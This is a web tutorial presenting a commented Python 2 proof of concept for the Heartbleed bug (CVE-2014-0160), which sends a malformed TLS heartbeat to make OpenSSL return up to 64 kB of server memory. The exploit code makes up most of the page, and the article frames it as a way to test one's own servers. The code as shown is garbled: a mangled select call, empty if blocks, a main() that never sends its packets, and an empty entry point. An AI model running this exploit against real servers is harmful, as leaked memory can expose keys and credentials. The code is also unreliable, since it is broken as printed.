How to Exploit the Heartbleed Bug

First we explained how it worked, and now, thanks to Jared Stafford (and stbnps on GitHub for explanations) we can show you how to exploit it. Heartbleed is a simple bug, and therefore a simple bug to exploit. As you'll see below, it only takes about a single page of Python to exploit this bug.

Before we get to the code, here are a few reference links to help you understand the SSL protocol:

The Code


# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
from optparse import OptionParser
# ClientHello
helloPacket = (
'16 03 02 00 31'    # Content type = 16 (handshake message); Version = 03 02; Packet length = 00 31
'01 00 00 2d'       # Message type = 01 (client hello); Length = 00 00 2d

'03 02'             # Client version = 03 02 (TLS 1.1)

# Random (uint32 time followed by 28 random bytes):
'50 0b af bb b7 5a b8 3e f0 ab 9a e3 f3 9c 63 15 33 41 37 ac fd 6c 18 1a 24 60 dc 49 67 c2 fd 96'
'00'                # Session id = 00
'00 04 '            # Cipher suite length
'00 33 c0 11'       # 4 cipher suites
'01'                # Compression methods length
'00'                # Compression method 0: no compression = 0
'00 00'             # Extensions length = 0
).replace(' ', '').decode('hex')

# This is the packet that triggers the memory over-read.
# The heartbeat protocol works by returning to the client the same data that was sent.
# That is, if we send "abcd" the server will return "abcd".

# The flaw is triggered when we tell the server that we are sending a message that is X bytes long
# (64 kB in this case), but we send a shorter message; OpenSSL won't check if we really sent the X bytes of data.

# The server will store our message, then read the X bytes of data from its memory
# (it reads the memory region where our message is supposedly stored) and sends that read message back.

# Because we didn't send any message at all
# (we just told that we sent FF FF bytes, but no message was sent after that)
# when OpenSSL receives our message, it won't overwrite any of OpenSSL's memory.
# Because of that, the received message will contain X bytes of actual OpenSSL memory.

heartbleedPacket = (
'18 03 02 00 03'    # Content type = 18 (heartbeat message); Version = 03 02; Packet length = 00 03
'01 FF FF'          # Heartbeat message type = 01 (request); Payload length = FF FF
                    # Missing a message that is supposed to be FF FF bytes long
).replace(' ', '').decode('hex')

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

def dump(s):
    packetData = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in s)
    print '%s' % (packetData)
def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        # Wait until the socket is ready to be read
        r, w, e =[s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata

# When you request the 64 kB of data, the server won't tell you that it will send you 4 packets.
# But you expect that because TLS packets are sliced if they are bigger than 16 kB.
# Sometimes, (for some mysterious reason) the server won't send you the 4 packets.
# In that case, this function will return the data that DO has arrived.

def receiveTLSMessage(s, fragments = 1):
    contentType = None
    version = None
    length = None
    payload = ''

    # The server may send less fragments. Because of that, this will return partial data.
    for fragmentIndex in range(0, fragments):
        tlsHeader = recvall(s, 5) # Receive 5 byte header (Content type, version, and length)

        if tlsHeader is None:
            print 'Unexpected EOF receiving record header - server closed connection'
            return contentType, version, payload # Return what we currently have

        contentType, version, length = struct.unpack('>BHH', tlsHeader) # Unpack the header
        payload_tmp = recvall(s, length, 5) # Receive the data that the server told us it'd send

        if payload_tmp is None:
            print 'Unexpected EOF receiving record payload - server closed connection'
            return contentType, version, payload # Return what we currently have

        print 'Received message: type = %d, ver = %04x, length = %d' % (contentType, version, len(payload_tmp))

        payload = payload + payload_tmp

    return contentType, version, payload

def exploit(s):
    # We asked for 64 kB, so we should get 4 packets
    contentType, version, payload = receiveTLSMessage(s, 4)
    if contentType is None:
        print 'No heartbeat response received, server likely not vulnerable'
        return False

    if contentType == 24:
        print 'Received heartbeat response:'
        if len(payload) > 3:
            print 'WARNING: server returned more data than it should - server is vulnerable!'
            print 'Server processed malformed heartbeat, but did not return any extra data.'
        return True

    if contentType == 21:
        print 'Received alert:'
        print 'Server returned error, likely not vulnerable'
        return False
def main():
    opts, args = options.parse_args()
    if len(args) < 1:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    s.connect((args[0], opts.port))
    print 'Sending Client Hello...'
    print 'Waiting for Server Hello...'
    # Receive packets until we get a hello done packet
    while True:
        contentType, version, payload = receiveTLSMessage(s)
        if contentType == None:
            print 'Server closed connection without sending Server Hello.'
        # Look for server hello done message.
        if contentType == 22 and ord(payload[0]) == 0x0E:
    print 'Sending heartbeat request...'
    # Jared Stafford's version sends heartbleed packet here too. It may be a bug.
if __name__ == '__main__':

Now you can use this script to test one of your own servers for the bug, or you could use one of the many online testers out there. Although, keep in mind that this script is good for testing servers that don't face the Internet and can't be accessed by an online tester.

Even if you don't think you have the bug, or your server isn't public-facing, patch it anyway!


Last Updated: July 16th, 2023
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